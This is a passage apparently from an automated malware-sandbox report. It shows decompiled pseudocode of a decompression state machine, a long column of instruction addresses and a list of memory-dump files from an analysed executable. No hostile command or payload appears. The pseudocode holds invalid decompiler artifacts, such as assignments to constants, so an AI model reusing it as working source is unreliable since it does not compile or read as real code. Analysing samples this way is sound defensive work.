															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L79;
											case 0x1b:
												L75:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t274 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t274;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t283 = __ebp - 0x64;
												 *_t283 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t283;
												 *( *(__ebp - 0x68)) = __cl;
												L79:
												 *(__ebp - 0x14) = __edx;
												goto L80;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L80:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t544 = _t543 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}














                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406615
                                                                                              0x0040661b
                                                                                              0x0040662d
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x004065e9
                                                                                              0x004065ef
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00406bca
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00406be6
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00000000
                                                                                              0x00406a6e
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a32
                                                                                              0x00406a2c
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad0
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b02
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x00406a2c
                                                                                              0x004069b3
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004065e7

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
